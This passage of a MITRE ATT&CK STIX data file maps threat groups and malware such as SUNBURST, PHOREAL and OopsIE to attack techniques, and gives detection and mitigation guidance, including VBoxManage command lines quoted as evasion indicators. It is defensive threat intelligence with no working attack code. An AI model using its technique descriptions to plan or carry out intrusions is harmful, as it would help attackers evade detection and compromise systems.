2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ec8c7897-1e29-4a55-b212-3dce350a8ad8","created":"2022-04-11T15:05:24.600Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) can collect information from a compromised host.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T15:05:24.600Z","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec8f73de-eab1-4d3b-88c0-7885716aa748","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2020-06-03T20:22:40.687Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) took screenshots using their Windows malware.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec93d74e-482d-47f0-bd1d-307aa8cd6d77","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for newly constructed files by unusual accounts outside of normal administration duties","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec9574b7-95ec-4d84-b468-164e918bbffd","type":"relationship","created":"2021-11-29T20:41:54.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:41:54.076Z","description":"(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec9653f3-7214-4e41-81f2-478ec407de15","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec9a7e1d-53f8-4a79-a5dd-a5890bf421ba","type":"relationship","created":"2021-08-18T20:30:58.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.851Z","description":"(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec9e1757-50c1-4fd8-a0be-2694b1bc9e99","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2019-04-24T23:40:23.527Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2. [OopsIE](https://attack.mitre.org/software/S0264) also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eca046f5-9175-4010-8297-07281f588934","type":"relationship","created":"2021-03-19T21:04:01.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."},{"source_name":"Secureworks GOLD CABIN","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin","description":"Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:01.283Z","description":"(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eca68811-ebe9-4ee0-8fb0-afa5975eb938","created":"2022-02-08T16:02:12.579Z","x_mitre_version":"1.0","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TrailBlazer](https://attack.mitre.org/software/S0682) has used filenames that match the name of the compromised system in attempt to avoid detection.(Citation: CrowdStrike StellarParticle January 2022)","modified":"2022-04-15T22:21:03.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eca69ead-d0af-4926-9faf-c82baea31296","created":"2021-12-27T16:53:13.967Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has created scheduled tasks to maintain persistence on a compromised host.(Citation: TrendMicro Confucius APT Aug 2021)","modified":"2022-04-18T12:34:52.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecb0d858-dd15-4181-b15b-76459db1d294","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis INOCNATION","description":"Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}],"modified":"2021-02-09T14:57:16.183Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) persistence mechanism.(Citation: Fidelis INOCNATION)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecb422f4-f957-4a33-aa32-b1f77bc626b6","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ecb55914-837c-4600-a0f8-65d83d2d726b","created":"2022-01-10T19:52:49.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.934Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can collect the OS version, system architecture, and computer name.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-19T19:56:10.609Z","description":"[PHOREAL](https://attack.mitre.org/software/S0158) is capable of creating reverse shell.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--f6ae7a52-f3b6-4525-9daf-640c083f006e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecb5f29d-9670-4997-991a-d99828906374","type":"relationship","created":"2021-08-04T15:42:58.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T15:42:58.303Z","description":"[VaporRage](https://attack.mitre.org/software/S0636) can use HTTP to download shellcode from compromised websites.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--96eca9b9-b37f-42f1-96dc-a2c441403194","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecb7a35e-cc83-4b7d-9eb6-42d0bd7d5d9e","type":"relationship","created":"2020-09-29T19:16:57.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."}],"modified":"2020-09-29T19:16:57.931Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can exfiltrate files from the victim machine.(Citation: CISA WellMail July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ecba3572-741f-4b9f-8d4e-a44d9b648ae6","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","external_references":[{"source_name":"Shadowbunny VM Defense Evasion","url":"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/","description":"Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring for commands and arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"). Monitor for commands which enable hypervisors such as Hyper-V.","modified":"2022-04-14T16:25:42.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ecbe0204-b205-47d5-ba6a-ef5c29737eda","created":"2023-02-08T00:13:32.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:06:13.926Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can change the `CreationTime`, `LastAccessTime`, and `LastWriteTime` file time attributes when executed with `SYSTEM` privileges.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecbe6cc7-16cc-474f-91fe-bd3e9014abbf","type":"relationship","created":"2021-07-02T14:27:03.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:27:03.199Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to collect recently changed files on a compromised host.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecc31d1c-b5ac-4458-b379-a5c003637ee2","type":"relationship","created":"2021-01-06T15:56:49.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T15:56:49.646Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) communicated via HTTP GET or HTTP POST requests to third party servers for C2.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ecc6def4-fd02-484e-8ad5-3fe93ac7c716","created":"2024-09-25T18:43:08.472Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:43:08.472Z","description":"(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecc76c8c-7c95-491d-9d94-1a704fc4995c","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage Confluence repositories to mine valuable information. Watch for access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecc9a971-349b-428d-a376-74f11b5b7086","type":"relationship","created":"2020-12-29T15:10:17.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T15:10:17.055Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used PowerShell scripts to access credential data.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecca0af0-1549-4068-b01d-bab711c491c5","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-30T03:02:09.224Z","description":"[Reaver](https://attack.mitre.org/software/S0172) installs itself as a new service.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ecca736a-9b3f-4a1d-bdb8-ff5c55197893","type":"relationship","created":"2020-08-24T14:27:37.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-16T21:01:17.137Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can switch to an alternate C2 domain when a particular date has been reached.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eccad76f-c5fa-46db-9ccb-5a9ebcada28e","type":"relationship","created":"2019-11-27T14:58:00.681Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/jj852168.aspx","description":"Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.","source_name":"TechNet Server Operator Scheduled Task"}],"modified":"2020-12-30T14:26:44.914Z","description":"Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ecce47d4-c937-4feb-8ebf-4e2eb496725d","created":"2022-06-06T15:50:33.497Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 